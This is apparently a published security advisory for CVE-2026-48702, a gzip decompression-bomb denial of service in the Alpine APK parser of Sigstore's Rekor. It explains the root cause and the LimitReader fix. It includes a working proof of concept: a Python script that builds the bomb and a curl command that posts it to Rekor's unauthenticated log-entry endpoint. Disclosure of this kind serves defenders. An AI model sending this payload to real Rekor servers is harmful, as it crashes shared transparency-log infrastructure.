high · 7.5CVE-2026-48702Jun 25, 2026

CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Rekor's Alpine APK parser decompresses gzip members into memory without a size cap, so an attacker can crash the transparency-log server with a tiny compressed upload that expands to gigabytes.

Packagegithub.com/sigstore/rekor
Ecosystemgo
Affected>= 0.3.0, < 1.5.2
Fixed in1.5.2
CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)

The problem

The `Package.Unmarshal()` function in `pkg/types/alpine/apk.go` calls `gzip.NewReader()` on the `.SIGN.*` (signature) and control members of an APK file, then reads the result with `io.ReadAll()` and no upper bound on decompressed bytes.

The existing `max_apk_metadata_size` guard is applied to individual tar-entry headers only after full decompression, so a gzip stream compressed at ~1000:1 ratio exhausts heap memory before the check runs. The crash is a fatal Go runtime OOM that cannot be caught by the server's `recover()` middleware.

Two unauthenticated endpoints trigger the path: `POST /api/v1/log/entries` (createLogEntry) and `POST /api/v1/log/entries/retrieve` (searchLogQuery). Both call `V001Entry.Canonicalize()` then `fetchExternalEntities()` then `apk.Unmarshal(packageData)`.

Proof of concept

bash
# Generate ~2 GB of zeros, compress to ~2 MB, embed as the .SIGN member of a fake APK,
# then POST to the unauthenticated createLogEntry endpoint.

# Step 1: build the gzip bomb segment
python3 - <<'EOF'
import gzip, io, struct, tarfile, base64, json

# 2 GB of zeros compressed
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
    # write 2 GB in 1 MB chunks
    chunk = b'\x00' * (1024 * 1024)
    for _ in range(2048):
        gz.write(chunk)
bomb_gz = buf.getvalue()   # ~2 MB on disk

# Step 2: wrap in a .tar stream (mimics .SIGN.RSA.<hash>.pub member)
tar_buf = io.BytesIO()
with tarfile.open(fileobj=tar_buf, mode='w') as tar:
    info = tarfile.TarInfo(name='.SIGN.RSA.pubkey.pub')
    info.size = len(bomb_gz)
    tar.addfile(info, io.BytesIO(bomb_gz))
apk_bytes = tar_buf.getvalue()

# Step 3: base64-encode for JSON body
print(base64.b64encode(apk_bytes).decode())
EOF

# Step 4: POST to Rekor (replace $B64 with output above)
curl -s -X POST https://<rekor-host>/api/v1/log/entries \
  -H 'Content-Type: application/json' \
  -d '{
    "kind": "alpine",
    "apiVersion": "0.0.1",
    "spec": {
      "package": {
        "content": "'$B64'"
      },
      "publicKey": {
        "content": "LS0tLS1CRUdJTi..."
      }
    }
  }'

The root cause is CWE-770: no throttle on the output side of `gzip.NewReader()`. The prior fix (CVE-2023-30551, v1.1.1, commit cf42ace) added a size check on tar-entry headers but left the raw gzip decompression call unbounded for the outer APK members. The 1.5.2 patch wraps each `gzip.NewReader(member)` call with `io.LimitReader(gz, maxApkMetadataSize+1)` before passing it to `io.ReadAll()`, so decompression stops at the configured limit regardless of the stream's advertised uncompressed size.

Because the Go OOM is fatal (the runtime calls `throw`, not `panic`), the server's `recover()` middleware cannot catch it, making this a reliable one-shot kill against any Rekor instance running an affected version.

The fix

Upgrade to rekor v1.5.2 or later. The patch wraps every gzip member reader with `io.LimitReader` before `io.ReadAll`, bounding heap allocation to `max_apk_metadata_size` (default 1 MB). There is no effective server-side workaround in affected versions: `max_request_body_size` reduces but does not eliminate exposure at a ~1000:1 compression ratio.

Reporter not attributed.

References: [1][2]